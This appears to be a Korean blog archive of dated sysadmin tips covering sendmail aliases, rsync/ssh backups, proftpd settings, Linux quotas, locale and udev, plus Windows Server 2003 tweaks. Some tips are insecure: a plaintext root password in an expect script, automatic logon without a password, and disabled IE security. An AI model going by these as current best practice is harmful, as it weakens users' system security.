분명한 목표를 가지고 당장 실천해야 하며 실천하는 목표를 마인드스토밍을 통하여 만들수 있다.

마인드스토밍이란 브라이언 트레이시가 만들어 낸것으로

자기가 원하는 목적을 이루기 위해서 실천방안을 종이에 적은 이후에 하나하나 바로 실천해 나가는  것이다. !!!!!

이영상은 46분 짜리 입니다.
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
2010/08/04 12:43 2010/08/04 12:43

고전] 추억의게임 리볼트 지금해도 재밌네요~

안녕하세요~고전게임 리볼트 입니다

추억의게임~   지금해도 재밌네요~     rc카 레이싱게임입니다~     그럼 즐겜하세요~

사용자 삽입 이미지
2010/08/04 12:28 2010/08/04 12:28
2010/08/04 12:15 2010/08/04 12:15

사용 환경

 

사업성 검토 프로그램을 설치할 수 있는 Microsoft사의 운영 체제는 다음과 같다.

Windows98, Windows98SE

Windows ME

Windows2000

WindowsXP

 

2010/08/04 11:51 2010/08/04 11:51
문제는 메일 포워딩입니다.
가령 info@aaa.co.kr이란 계정이 있습니다.
이 계정으로 오는 메일을 방사장@aaa.co.kr과 퇴직녀@aaa.co.kr이 받고 있었습니다.
그런데 퇴직녀의 계정으로 왔던 info메일을 삭제하고
방사장@aaa.co.kr과 관리녀@aaa.co.kr로 포워딩을 하고 싶은데요.

책을 찾아보니까 root\info)vi. forward에서
방사장@aaa.co.kr
관리녀@aaa.co.kr
이렇게 편집을 하고 저장을 하고 나온 후 재부팅을 하면 된다고 합니다.

맞습니까? ㅜ.ㅜ

또한 그렇게 했을 경우 관리녀의 아웃룩에서 전자메일계정을 (- info 계정이겠죠) 추가해야 하나요?
추가 안하면 root모드에서 포워딩을 했어도 멜이 안오는겁니까?

정말 하나도 모르겠씸미다.

도와주셔요. ㅠㅠ


[질문자 채택답변] 참고하세요
비공개 님이 2003-12-16 10:59 작성
안녕하세요 sendmail을 쓰신다면 메일포워딩 기능을 쓰지마시고 aliases 기능을 쓰십시오.

info@test.co.kr 라는 계정이 없어도 aliases 에서 가능합니다.

우선 vi /etc/aliases 라는 파일을 여신후

====================================
newsadm: news
newsadmin: news
usenet: news
ftpadm: ftp
ftpadmin: ftp
ftp-adm: ftp
ftp-admin: ftp

# trap decode to catch security attacks
decode: root

# Person who should get root's mail
root: jkkim, kim@hanmail.net
webmaster: biz
info: 방사장@aaa.co.kr, 관리녀@aaa.co.kr
================================================
메일링 리스트(info@aaa.co.kr)로 오는 메일을 [최종 목적지]에 설정된 사용자 또는 메일 주소로 포워

딩 합니다.
info을 추가 하신후 aliases 파일을 저장하시고 newaliases 라는 명령을 쳐주시기 바랍니다.

[root@test /home]# newaliases

다시 설명하자면,
info계정으로 오는 메일은 방사장 or 관리녀 메일로 들어갑니다.
아웃룩에서는 방사장으로 배달을 누르시면 info메일도 들어옵니다.
2010/08/01 23:43 2010/08/01 23:43
- 데이터가 있는곳은 ssh 서버 및 rsync 설치.
- 데이터를 백업할 곳은 ssh 클라이언트 및 rsync 설치.
- rsyn가 설치되어 있고, ssh 클라이언트가 설치되어 있으면,
원격백업 가능함.
- 호스트1은 백업할서버, 호스트 2는 데이터 서버 라고 가정할 경우.
rsync -avPz --delete --stats -l -t -e ssh root@호스트2의 서버 아피:/백업할 디렉토리/ /데이터를 저장할 호스트2 서버의 디렉토리.

예제) 호스트1의 home디렉토리 전체를 호스트2의 backup 디렉토리로
백업을 할 경우. (호스트2에서 호스트1의 ssh서버를 접근해야 함)

rsync -avPz --delete --stats -l -t -e ssh root@호스트1의아피:/home/ /backup
- 저렇게 할 경우 압축을 하고, 퍼미션 및 소유권은 그대로 유지하며, 심벌릭 링크는 심벌릭 링크 그대로 백업하고, 전송 속도 및 시간을 출력해주고, 마지막에 전송된 상태를 출력 해줌.
--delete는 옵션은 원본에는 없지만 그 전에 받은 백업본에 있을 경우 삭제해줌.
그래서, 원본과 항상 똑같이 백업이 되도록 함.

주의사항)
백업 할 곳의 디렉토리를 적을땐,
항상 /home/ 식으로 끝에 슬래쉬를 적어 줘야 함.
만약 /home이라고 할 경우 디렉토리 생성만 되고, 그 안에 있는 데이터는
백업이 되지 않음.

그리고, 위의 같이 명령어를 입력할 경우 그냥 ssh접속할때 처럼
루트의 비밀번호를 물어봄.
루트의 비번을 입력해주면, 바로 백업을 해준다.
루트의 비번을 입력하기가 귀찮을 경우는
두가지 방법이 있음.
첫번째는 인증키를 생성해서 해당 서버에 저장하면,
비밀번호를 물어보지 않음.
인증키 생성하는 방법은
ssh-keygen -d
이라고 할 경우
~/.ssh/id_dsa.pub 라는 파일이 생성됨.
이걸 원본 데이터가 있는 서버에 저장해줌.
방법은
scp -p .ssh/id_dsa.pub root@호스트명:~/.ssh/authorized_keys2
라고 하면 됨.

두번째 방법은 스크립트로 돌리는 방법이 있음.
#!/usr/bin/expect -f
log_user 0
spawn rsync -avPz --delete --stats -l -t -e ssh root@호스트1의 아피:/home /backup
expect "password: "
send "루트의 비번\n"
log_user 1
interact

저렇게 할경우 루트의 비번을 입력하지 않아도 루트의 비번을 전송해줌.

이상 rsync+ssh에 의한 미러 백업에 대한 방법론이었습니다...^^
2010/08/01 23:42 2010/08/01 23:42
proftpd.conf 파일 설명
----------------------------------------------------------------

ServerName                      "ProFTPD Default Installation"

FTP 에 접속 했을때 보여주는 문자열 입니다.


ServerType                       inetd

proftpd 를 작동하는 서버 모드는 두가지가 있는데 하나는 standalone 이고 하나는 inetd 방식입니다.  
Standalone 방식은 proftpd 데몬이 프로세스상에 항상 떠 있으면서 접속을 대기 하고 있어 빠른 속도를 보이는 반면에 시스템자원을 차지하는 단점이 있으며
inetd 방식은 접속 요청이 있을때만 반응하므로 시스템자원을 차지하지 않지만 속도가 Standalone 방식보다 떨어질 수 있습니다.


DefaultServer                   on

한개의 FTP 서버에 여러개의 아이피 주소가 존재할 경우 이들 주소에 대해 접속요청이 있을때 기본 서버로 작동할 것인가를 결정해 줍니다.


Port                            21

FTP 데몬의 포트번호를 지정해 줍니다.


Umask                           022

주어진 콘텍스트에서 새로 만들어진 파일과 디렉토리 퍼미션에 적용될 마스크를 지정해 주는 지시자입니다.


MaxInstances                    30

Standalone 방식으로 작동할때 생성될 수 있는 자식 프로세스 (child process) 의 최대 갯수를  설정해 줍니다. inetd 모드로 작동될 경우 이 옵션은 필요가 없습니다.


User                            nobody
Group                           nobody

데몬을 실행하는 사용자와 그룹의 소유권을 지정해 줍니다.


#DefaultRoot ~

유저들이 로그인 했을때 자신의 홈디렉토리 상위로 이동하지 못하도록 설정하는 옵션입니다. 틸드(~) 표시 뒤에는 그룹이름이 들어가도록 되어 있습니다.


사용예 )

#DefaultRoot                 ~        !root

위와같이 설정 하면 일반 유저들은 자신의 홈디렉토리의 상위 디렉토리로 이동하지 못합니다. 웹호스팅 서버에서 사용자들끼리 서로 다른 디렉토리에 옮겨다니지 않도록 하는 필수 설정 사항입니다.


<Directory />
  AllowOverwrite                on  
</Directory>

<Directory /> </Directory> 지시자를 이용해서 디렉토리의 설정을 할 수 있습니다.
AllowOverwrite                on  
이것은 기존 파일에 똑같은 이름의 파일을 덮어 쓸 수 있게 하는 옵션이며 off 로 설정 하면 덮어쓰기가 금지됩니다.


<Anonymous ~ftp>
  User                          ftp
  Group                         ftp
  UserAlias                     anonymous      ftp
  MaxClients                    10
  DisplayLogin                  welcome.msg
  DisplayFirstChdir             .message
  <Limit WRITE>
    DenyAll
  </Limit>
</Anonymous>

anonymous FTP 를 운영하는 옵션입니다. 기본 디렉토리가 ~ftp 로 되어 있는것을 볼 수 있는데 기본적으로 ftp 계정은 /etc/passwd 파일을 보면
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
이렇게 설정 되어 있으므로 기본적으로 anonymous FTP 는 작동하지 않는것이 기본값입니다.

UserAlias                     anonymous      ftp

유저들이 anonymous 외에 ftp 로도 로그인 할 수 있게 하는 옵션입니다.


MaxClients                    10

FTP 서버에 접속할 수 있는 최대 클라이언트 수를 지정합니다.
뒤에 메시지를 붙여 주면 클라이언트 수가 초과 될때 접속 차단 메시지를 보여주게 됩니다. %m 으로 최대 접속자 수를 출력할 수 있습니다.


MaxClients                    10  “ %m 명까지 접속 할 수 있습니다 “

만일 접속자 수를 제한하지 않으려면 이 값을 none 으로 해 주면 됩니다.


DisplayLogin                  welcome.msg

클라이언트가 서버에 로그인 하였을때 보여주는 메시지를 설정해 줍니다.
메시지 파일 경로는 절대경로,상대경로 모두 설정 할 수 있으며  
상대 경로로 사용하는 경우에는 anonymous FTP 의 기본 디렉토리가 기준이 됩니다.

DisplayFirstChdir             .message

클라이언트들이 디렉토리를 이동할때에 보여지게 될 메시지 파일 명을 설정합니다.
다시말해 클라이언트들이 디렉토리를 이동할때에 디렉토리에 .message 파일을 넣어 놓으면 그 내용이 클라이언트들에게 보여지게 됩니다.  
메시지 파일에는 특정한 변수를 사용해서 메시지 화면에 여러가지 정보를 보여줄 수 있습니다



%C        현재 작업 디렉토리
%E        서버 관리자의 이메일 주소
%F        사용 가능한 디스크 공간
%L        로컬 호스트 이름
%M        접속 가능한 최대 클라이언트 수
%N        현재 접속 되어 있는 클라이언트 수
%R        원격 호스트 이름
%u        ident 프로토콜에 의해 확인된 사용자명
%U        로그인에 사용된 사용자 명
%T        현재시간

                
        
<Limit WRITE>    DenyAll  </Limit>

클라이언트가 명령어를 사용하는데 제한을 두는 옵션이 <LIMIT> 옵션입니다.
위의 설정은 WRITE 를 하지 못하도록 하는 옵션입니다.



이외의 지시자들  

AnonRequirePassword         on

익명 FTP 접근시 패스워드를 이메일로 넣도록 하는 설정입니다.


TimeoutIdle                     900

클라이언트가 900 초간 아무런 명령을 입력하지 않는 경우 접속이 끊어지는 옵션입니다.


TimeoutNoTransfer               900

클라이언트가 900 초간 아무런 전송이 없으면 접속이 끊어지는 옵션입니다.


TimeoutLogin                    300

로긴할때 로그인 입력 대시 시간으로 300 초내에 입력하지 않으면 접속이 해제됩니다.


ServerAdmin                     root@localhost

서버의 관리자 이메일을 설정하는 옵션입니다.


RootLogin                       off

FTP 로 root 가 로그인 할 수 있는지 여부를 설정하는 옵션입니다.


RateReadBPS                    256

클라이언트의 속도를 제한하는 옵션입니다.
다운로드,업로드를 할때 전송 대역폭을 제한하는 지시자입니다.


RateReadFreeBytes              5120  

대역폭의 제한없이 전송할 수 있는 바이트 양을 지정합니다.


MaxClientsPerHost             3 "Sorry, %m connection allow per one host"

하나의 호스트 컴퓨터로 부터 동시에 접근할 수 있는 수를 지정합니다.


MaxHostsPerUser               1 "Sorry, %m hosts allow per one user"

하나의 계정 아이디로 동시에 접속 할 수 있는 호스트 컴퓨터 숫자를 설정합니다.


LsDefaultOptions              "-a"

ls 명령어의 –a 옵션으로 hidden 파일도 볼 수 있도록 하는 옵션입니다.


  UpTime      12  DownTime    18

서버를 시간대 별로 운영하는것을 지정합니다.
위의 예는 오후 12시부터 6시까지 운영하는 설정입니다.
2010/08/01 23:42 2010/08/01 23:42
Windows Sever 2003 은 서버운영체제 이므로 많은 기능이 비활성화 되어 있어서 설치후에

대부분 불편을 느끼는데 이걸 해결하는 방법을 간단히 적어보니 참조 하세요.

여기에 이 팁은 2003 버전을 손쉽게 사용하도록 해주는 기본팁 입니다.

1.시스템 시작시 ctrl+alt+del 안누르기

실행 - gpedit.msc 입력하고 엔터 나오는창에서

컴퓨터구성- windows 설정 -보안설정 - 로컬정책 - 보안옵션 -대화형로그온 ctrl+alt+del 이걸

더블클릭하거나 속성에서 사용으로 하여주고 확인해준다.

2.로그온시 암호 안물어보기 .

실행 - control userpasswords2 이걸 입력하고 나오는창에서 사용자이름과 암호 사용해야 로그인

할수있음 이앞에 체크를 지우고 확인하면 창이 하나 나오는데 여기에 설치시 설정한 암호를 적고

확인하면 된다.

3. 시스템 종료시 이벤트 추적기 표시 안함.

시작 → 실행 → gpedit.msc → 컴퓨터 구성 → 관리 템플릿 → 시스템 를 선택하고, 우측창에서

시스템 종료 이벤트 추적표시 를 더블클릭하여 "사용 안함" 으로 변경하고 확인한다.

4. Audio 서비스 및 Theme 서비스 활성화하기

Windows Audio 및 Theme 서비스를 활성화 시키기위해서는 서비스관리자를 실행시킨다.시작-실행

→ services.msc 입력하고 엔터

메뉴중 theme 를 더블클릭이나 속성에서 자동으로 해주고 적용하면 시작 버튼이 활성화되니

그걸 클릭해서 실행시킨다. 그럼 Theme 가 활성화되서 사용가능하다.

다음에는사운드를 사용하기위해서 windows audio 를 속성에서 자동으로하고 적용하면 시작버튼이

활성화되니 그걸 클릭해서 적용시킨다.

5. 활성화시킨 Theme 및 Audio 사용하기

제어판-디스플레이-설정-고급-문제해결-하드웨어가속을 최대로한다.

제어판-사운드및오디오장치-볼륨-스프커설정-고급-성능-오디오재생 (최대로한다)

샘플전환속도 (최상으로한다)

그리고 오디오 각종 성능을 최적화한다. 볼륨등 각종 시작음 종료음등..

6. 다이렉트 x 활성화하기

시작-실행에 dxdiag 입력하고 엔터 나오는창에서 디스플레이 이항목에서 가속을 최대로하고

3 가지 3 D 항목이 사용안함으로 되어 있는걸 사용으로 하여준다.

Directdraw 사용으로변경

Direct3d 사용으로 변경

agp 질감가속 사용으로 변경

소리에서 DirectX 기능 에 하드웨어 소리가속을 최대로한다.

7. 시스템 설정

내컴퓨터-속성-고급-시작및복구-설정-디버깅정보쓰기를 작은메모리덤프(64KB)로한다.

내컴퓨터-속성-고급-성능-설정-고급-아래위 두곳에 시스템으로 설정된 프로세서와 메모리

사용계획을 두곳다 프로그램으로 하여준다.

8. 인터넷 옵션 설정

도구-인터넷옵션-보안에서 보안을 보통으로 하여준다. 방법은

제어판-프로그램 추가/제거-windows 구성요소 추가/제거-Internet Exporer 보안강화구성-

이걸클릭후에 체크해제하고 밑에 자세히를클릭해서 연다-그럼 안에 관리자구성 과 기타사용자그룹

이렇게 두개가 보이는데 여기에 체크해제를한다. 그런다음에 확인하고나서 밑에 다음을 클릭

하면 된다. 그러면 잠시 작업후에 비활성화되는데 인터넷옵션 보안에는 보통으로 된다.

9. 메뉴팝업속도를 빠르게 하기

메뉴창이 열리는 속도가 느린것을 감지할수 있는데 빠르게 하는 방법이다.

시작 -> 실행창에서 regedit를 입력하여 레지스트리 편집창을 뛰운후

HKEY_CURRENT_USER\ControlPanel\desktop에서 MenuShowDelay항목의 값이 기본 400으

로 셋팅되어있느데 이걸 1~8 사이로 하여준다.

10. xp 처럼 디스플레이 사용하기

xp 처럼 바탕화면 아이콘이나 모양을 사용하려면 내컴퓨터-속성-고급-성능-설정-시각효과

여기서 두번째 최적모양으로설정 이걸 선택하고 확인해준다.

11. 스케너나 디지탈 카메라를 사용하려면.

관리도구-서비스-Windows Image Acquisition(WIA) 여기에 속성에서 자동으로 하여준다.

그후에 드라이버를 설치하거나 usb 로 설치하면 된다.

12. 내문서나 미디어플레이어 사용후에 흔적 지우기.

이팁은 기본이 아니지만 서비스 차원에서 제공한다. 익스창이나 미플 이나

내문서등 윈도에서 사용된 각종 흔적을 지우는 법이다.

실행-gpedit.msc 입력하고 엔터 나오는창에서

사용자구성-관리템플릿-작업표시줄및시작매뉴-여기에서 우측창에 다음 두가지를

더블클릭이나 속성에서 사용으로 하여준다. 재부팅후에 작동한다.

종료시 최근에 사용한문서 기록지우기 하고

최근에 사용한 문서 기록을 보관안함. 이두개를 설정하면된다. `
2010/08/01 23:40 2010/08/01 23:40
환경
uname -a
Linux home.kuc.or.kr 2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 EST 2003 i686 i686 i386 GNU/Linux

[root@ns home]# cat /var/log/dmesg | grep quota
VFS: Disk quotas vdquot_6.5.1

1) /etc/fstab 파일을 수정한다.
vi /etc/fstab
LABEL=/                 /                       ext3    defaults        1 1
LABEL=/boot             /boot                   ext3    defaults        1 2
none                    /dev/pts                devpts  gid=5,mode=620  0 0
LABEL=/home             /home                   ext3    defaults       1 2

우선 home 을 쿼터를 걸려고 했으니 그 부분을 이렇게 수정함

LABEL=/home             /home                   ext3    defaults,usrquota        1 2

usrquota 가 추가되었음 ^^;

/etc/fstab 파일을 수정한 후, 설정을 반영하기 위해서 시스템을 다시 부팅시키거나 파일 시스템을 다시 마운트(remount) 시킨다.

[root@ns home]# mount -o remount /home
[root@ns home]# mount
/dev/cciss/c0d0p5 on / type ext3 (rw)
none on /proc type proc (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/cciss/c0d0p1 on /boot type ext3 (rw)
/dev/cciss/c0d0p7 on /home type ext3 (rw,usrquota)
none on /dev/shm type tmpfs (rw)
/dev/cciss/c0d0p3 on /usr type ext3 (rw)
/dev/cciss/c0d0p2 on /var type ext3 (rw)

2) Quota 기록파일인 quota.user(또는 quota.group) 파일을 만든다.

[root@ns home]# touch /home/quota.user
[root@ns home]# chmod 600 quota.user

[root@ns home]# convertquota -u /home/
위 명령어 쳤는데 에러 뜨면 리붓 하번 해주면 됨 안되면 말고

그리고 ls -al 로 해서 대충 보면
aquota.user 이란 파일 하나 더 생김~

3) 디스크 사용 상태를 체크한다. 실행하여 이러한 작업을 할 수 있다.
[root@ns home]# quotacheck -avug  
quotacheck: Cannot remount filesystem mounted on /home read-only so counted values might not be right.
Please stop all programs writing to filesystem or use -m flag to force checking.
위처럼 에러 뜨면 밑에처럼 하면 됨 안되면 역시나 말고
[root@ns home]# quotacheck -avugm
quotacheck: Scanning /dev/cciss/c0d0p7 [/home] done
quotacheck: Checked 4124 directories and 40103 files

4) Quota 시작하기
[root@ns home]# quotaon /home1


계정 용량 할당 하기

[root@ns home]# edquota bresting

Disk quotas for user bresting (uid 510):
  Filesystem                   blocks       soft       hard     inodes     soft     hard
  /dev/cciss/c0d0p7           3126776          0          0        598        0        0

그러면 저런 화면이 뜸

block(soft = 0, hard=0)
block 은 지금 사용하고 있는 총 용량
soft 는 용량의 제한을 둬서 그걸 넘으면 에러 메세지를 보냄
hard 는 그 용량 되면 더이상 못씀
inodes (soft =0,    hard=0)
이건 파일 게수를 뜻한 역시나 위와 같음

예를 들자면

Disk quotas for user bresting (uid 510):
  Filesystem                   blocks       soft       hard     inodes     soft     hard
  /dev/cciss/c0d0p7           50         51200          56320        10       1500     1550

50 메가 넘으면 경고 메세지 보냄
55 메가 넘으면 더이상 못씀
1500 게 파일 넘으면 경고 메세지
1550 게 파일 넘으면 더이상 못씀


유예 기간
[root@ns home]# edquota -t
Grace period before enforcing soft limits for users:
Time units may be: days, hours, minutes, or seconds
  Filesystem             Block grace period     Inode grace period
  /dev/cciss/c0d0p7                  7days                  7days


쿼터 설정 상태

[root@ns home]# repquota -a
*** Report for user quotas on device /dev/cciss/c0d0p7
Block grace time: 7days; Inode grace time: 7days
                        Block limits                File limits
User            used    soft    hard  grace    used  soft  hard  grace
----------------------------------------------------------------------
root      --    1216       0       0            141     0     0      
nobody    --   37960       0       0            825     0     0      
vpopmail  --    1688       0       0            181     0     0      
bresting  -- 3126776       0       0            598     0     0      
fellen    -- 26592228       0       0           1150     0     0      
mysql     --      20       0       0              5     0     0      
photo     --      24       0       0              6     0     0      
my2pc     --  332756       0       0           2394     0     0      
kang0927  -- 1410648       0       0           2713     0     0      
down      -- 6820940       0       0           1632     0     0      
jhs1013   -- 2646524       0       0           1644     0     0      
infoftp   -- 9556676       0       0           1213     0     0      
bibichu   -- 4675392       0       0           4668     0     0      
moriya    -- 9892968 9900000 9950000          13858     0     0      
heyworld  --      24       0       0              6     0     0      
heyoh     -- 8223824       0       0             75     0     0      
issey     -- 2285488       0       0          10063     0     0      
hayan     -- 1176884       0       0           1903     0     0      
club      --    5672       0       0            748     0     0      



쿼터 설정을 다른 사용자와 동일하게 설정 하기

edquota -p bresting bresting1 bresting2
bresting 의 환경을 bresting1 bresting2 에게 같이 적용

다중 사용자의 쿼터 적용
edquota -p bresting `awk -F: '$3 > 500 {print $1}' /etc/passwd`
awk 앞에는 숫자1 옆의 ` 그다음은 엔터 옆 ' ' passwd 는 숫자1 `
2010/08/01 23:40 2010/08/01 23:40

rsync란
rsync란 서로 다른 두 컴퓨터에 들어 있는 정보를 서로 동기화 시킬때 사용한다. 동일한 소스가 두군데 존재하고 한쪽을 편집했을때, 다른 한쪽에 편집한 부분을 업데이트 시켜줘야한다. 이때 모든 소스를 옮기게 되면 시간적으로 많은 낭비가 있기 때문에 rsync는 수정된 부분만 비교해서 옮겨 주게 된다. 그리고 anonymous 서버로도 설정할 수 있는등 많은 유용한 기능들이 들어있다.

rsh이나 ssh을 이용하여 전송하기
이것은 원격지의 호스트에 계정이 있고 rsync의 서버 데몬이 설정되어 있지 않을 경우 사용한다. 간단히 로컬에서도 cp 대신 사용할 수도 있다. ssh를 이용하면 안전하게 복사할 수 있다. 아래의 방법대로 하면 간단히 원격지로 복사할 수 있다.

shell> rsync -arvu -e ssh /from/directory/ to.hostname.com:/to/direcotry

클라이언트에서 실행
shell> rsync -avz -e ssh 210.222.18.105:/backup /backup

여기서 디렉토리를 써 줄경우 마지막 부분의 /가 중요한 의미를 가진다. 마직막에 /가 있을 경우는 그 디렉토리 내의 모든 파일을 의미하고 /가 없을 경우는 그 디렉토리 자체를 말하는 것이다. -arvu는 아래 부분을 참조하기 바란다.

원격지 서버 설정하기
먼저 리눅스 최신본을 설치하면 기본적으로 rsync가 설치된다. 그러나 xinetd를 이용하여 서버로 설정은 되어 있지 않기 때문에 서버로 사용할 수 있도록 설정을 해 주어야 한다.

xinetd.d에 rsync파일 추가하기
/etc/xinetd.d디렉토리에 rsync라는 파일을 만들고, 아래와 같은 내용을 입력한뒤, 저장한다.

service rsync
{
disable = no
socket_type = stream
wait = no
user = root
server = /usr/bin/rsync
server_args = --daemon
log_on_failure += USERID
}

/etc/services파일에도 아래와 갈은 내용이 없으면 추가해 주도록 한다.

rsync 873/tcp # rsync
rsync 873/udp # rsync

그리고 /etc/rc.d/init.d/디렉토리에서 xinetd를 restart 시켜준다.

shell> /etc/rc.d/init.d/xinetd restart

rsyncd.conf 파일 생성
/etc디렉토리에 rsync.conf라는 파일을 생성한다.

#motd = /etc/rsync.motd # file : message of the day
uid = nobody
gid = nobody
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid

[www.wangsy]
path = /somewhere/in/remote/host
comment = www.wangsy.com homepage
read only = false
uid = apache
gid = apache
auth users = wangsy
secrets file = /etc/rsyncd.secrets

위 파일과 함께 /etc디렉토리에 rsyncd.secrets파일도 함께 생성한다.

name:password

그리고 /etc/rsyncd.secrets파일의 permission을 rw-------로 해주는 것을 잊지 말도록 한다.

client에서 접근하기
서버 내용 내려받기
다음 명령을 통해서 서버의 내용을 다운 받을 수 있다.

shell> rsync -avz home.inzoo.co.kr::www.wangsy target_dir/

그리고 아래 명령을 통해서 로컬에서 수정된 파일을 서버에 반영할 수 있다.

shell> rsync -avz target_dir/ home.inzoo.co.kr::www.wangsy

위에서 -avz의 의미는 각각 다음과 같다. 자세한 사항은 rsync 홈페이지의 메뉴얼에서 확인할 수 있다.

-a, --archive archive mode
-v, --verbose increase verbosity
-z, --compress compress file data
-u, --update update only (don't overwrite newer files)

약간의 문제
client의 ip와 hostname이 lookup되지 않으면 remote호스트에서 접근을 허용하지 않는 문제가 있다. 이는 ADSL로 접속할 경우 연결이 되지 않게 되는 문제가 발생한다. 서버로 바로 접속하는 것 보다는 위 처음 방식인 ssh를 통한 접속 방법이 좀더 보안상 안전하기 때문에 이방법을 이용하는것이 좋을듯 하다.

2010/08/01 23:40 2010/08/01 23:40

깨지는 현상은 텍스트 모드에서 한글로 선택했을경우 생기는
부분이네요 ,,,,

해결방법은

#export LANG=c ----- 영문
#export LANG=ko ----- 한글

#cd /etc/sysconfig
여기서 sysconfig 디렉토리안의 내용을 볼께요.
#ls sysconfig
그러면 파일내용이 보일겁니다. 여기에 i18n이 있습니다.
그리고 여기서 i18n을 편집해야 합니다.
#vi i18n
편집하려면 i 혹은 a를 눌루면 insert 모드로 됩니다.
여기서 LANG="en_US"를 LANG="ko_KR" 혹은 LANG="ko_KR.eucKR"로 바꾸세요.
그다음에는 ESC키를 눌러 insert모드를 빠져나옵니다.
그런 후 :wq!라고 쳐서 저장하고 나옵니다.
그다음은 다시 부팅하세요.

LANG="ko_KR.eucKR"
SUPPORTED="ko_KR.eucKR:ko_KR:ko"
SYSFONT="lat0-sun16"
SYSFONTACM="8859-15"

2010/08/01 23:39 2010/08/01 23:39
FC3 사용자는 설치후 udev-039-10.FC3.1로 경신(update)해야 한다.

실수로 FC3 udev 패키지에 디버깅 코드를 제거하지 않아, SIGCHLD 시그널이 udev에서 봉쇄되어 udev.rules의 정상 종료 상태(proper exit status)를 방해한다(,which prevents getting the proper exit status in udev.rules). 이로인해 시디롬 심볼링크(cdrom symlinks)가 만들어 지지 못하여, pam_ console이 데스크탑 사용자 소유권(desktop user ownerships)을 시디롬 디바이스에 적용할 수 없음을 의미한다.

휘도라 코아 3를 설치한 모든 사용자는 긴급히 이 버전으로 향상(upgrade)시켜야 한다.

이 갱신(update)용 파일들은 여기에서 다운 받을 수 있다.

fce34e8e8ab6a54d07c46d2626529e22 SRPMS/udev-039-10.FC3.1.src.rpm
e86fc1ec12edddd4f7ca68bfebe956cc x86_64/udev-039-10.FC3.1.x86_64.rpm
8b69da0b3adb624a11fc8185f98bada6 x86_64/debug/udev-debuginfo-039-10.FC3.1.x86_64.rpm
7df95371172d0b52452df76612cf674d i386/udev-039-10.FC3.1.i386.rpm
9897ebb971ab099de04c9ceb1ad31b57 i386/debug/udev-debuginfo-039-10.FC3.1.i386.rpm

이 업그레이드는 Update Agent로도 수행할 수 있다; ‘up2date’ 명령으로 Update Agent를 기동할 수 있다.

휘도라에서의 udev

By Harald Hoyer

본 문서는 udev의 비밀과 휘도라에서 작동하는 방법을 밝히려 한다.

Udev는 Dan Stekloff <dsteklof@us.ibm.com>, Kay Sievers , 그리고 다른 많은 분들의 도움을 받고 Greg Kroah-Hartman <greg@kroah.com>이 개발했다.
udev homepage와 the Linux-hotplug-devel mailing list https://lists. sourceforge.net/lists/listinfo/linux-hotplug-devel가 주요 개발 자원이다.

Udev가 하는 일은?

udev는 실제로 존재하는 디바이스에 대한 파일만을 포함하는 동적 디바이스 디렉토리를 제공한다. 보통 /dev/ 디렉토리에 있는 디바이스 노드 파일들을 만들거나 제거하고 혹은 네크워크 인터페이스에 새 이름을 붙여준다(or it renames network interfaces.).

hotplug 서브시스템의 일부로서, 만일 커널 디바이스가 추가되거나 시스템에서 제거되면, udev가 실행된다. 디바이스 생성시, udev는 라벨, 시리얼 번호, 또는 버스 디바이스 번호와 같은 디바이스 속성을 수집하기 위해 주어진 디바이스의 sysfs 디렉토리를 읽는다. 이 속성은 디바이스의 고유한 이름(uni-que name)을 결정하는 열쇠(keys)로 사용될 수 있다. udev는 시스템에 존재하는 디바이스에 대한 데이터베이스를 유지한다. 디바이스 제거시, udev는 삭제될 디바이스 파일을 찾기 위해 데이터베이스를 검색한다.

모듈이 적재되면, hotplug에 의해 udev가 호출되고, 디바이스가 추가되거나 제거된다. 만일 디바이스 노드가 드라이버와 통신할 수 있는 메이져와 마이너 번호(major and minor number)를 포함하고 있는 “dev” 파일을 드라이버가 제공하면, udev는 /sys/안을 들여다본다. 디바이스 노드 파일명과 심볼릭링크(symlinks)를 지정하는 /etc/udev/rules.d/디렉토리에 있는 udev 규칙을 살펴본후, 디바이스 노드는 /etc/udev/permissions.d/에 지정된 허가(perm-issions)를 갖고 /dev/에 생성된다.

디바이스 노드 생성, 제거, 혹은 네트워크 디바이스의 이름을 새로 붙인 후, udev는 /etc/dev.d/아래 디렉토리 트리(directory tree)에서 프로그램을 실행한다. 프로그램의 이름은 알아보기 쉽게 .dev란 접미사를 붙여야 한다. hot-plug 환경 변수에 더하여, DEVNAME도 생성된 노드의 이름이나 네트워크 디바이스의 새로 붙여진 이름이 실행된 프로그램에 이용될 수 있도록 보내진다(be exported). 모든 디렉토리에 있는 프로그램은 사전적 순서로 정렬되는 반면, 디렉토리는 다음 순서로 조회된다:

• /etc/dev.d/$(DEVNAME)/*.dev
• /etc/dev.d/$(SUBSYSTEM)/*.dev
• /etc/dev.d/default/*.dev
Udev가 휘도라에 어떻게 통합되는가?

initrd / initfs

mkinitrd는 /sbin/udev.static를 initrd /sbin/udev에 복사하고 /sbin/udev start에 심볼릭 링크를 한다(symlink).

커널이 부팅한 후, initrd의 내쉬 스크립트(nash script)를 실행한다. 이것은 tmpfs 파일 시스템을 /dev/에 마운트한다. hotplug대신에, /sbin/udev는 initrd 단계(phase)에서 호출된다. udevstart는 디바이스에 대한 모든 디바이스 노드를 생성하는 데, 이 디바이스는 커널에 컴파일(compile)되고 그 모듈은 내쉬(nash)에 의해 적재된다.

문제점

전(whole) udev와 hotplug 하부구조(infrastructure)가 initrd에 이용될 수 있는 것은 아니다. 따라서, hotplug 스크립트, udev 규칙, 허가(permissions), 그리고 /etc/dev.d/ 스크립트가 커널이 보낸 어떠한 hotplug event에 대해서든 모두 실행되는 것은 아니다.

rc.sysinit

제일 먼저, SELinux가 적재되고 활성화되면, /dev/의 문맥이 설정(set)된다. rc.sysinit는 /sbin/start_udev를 호출한다. start_udev는, 아직 마운트된 것이 없다면, tmpfs 파일시스템을 /dev/에 마운트시킨다. 이 때, 모듈 자동적재가 필요하거나 커널 모듈이 없는 곳에 디바이스 노드를 생성한다. 그리고나서, /sbin/udevstart는 다시 호출된다. 즉, 전 udev와 허가(permissions)을 적용하기 위해, initrd 단계에서 hotplug event를 모의 실험한다(? simulate). 그리고, rc.sysinit는 /sbin/kmodule의 결과물를 분석하고(parse) 모든 모듈을 적재한다. 이것은 컴퓨터에서 발견된 모든 하드웨어에 디바이스 노드를 제공할 것이다.

콘솔 사용자 허가(Console User Permissions)

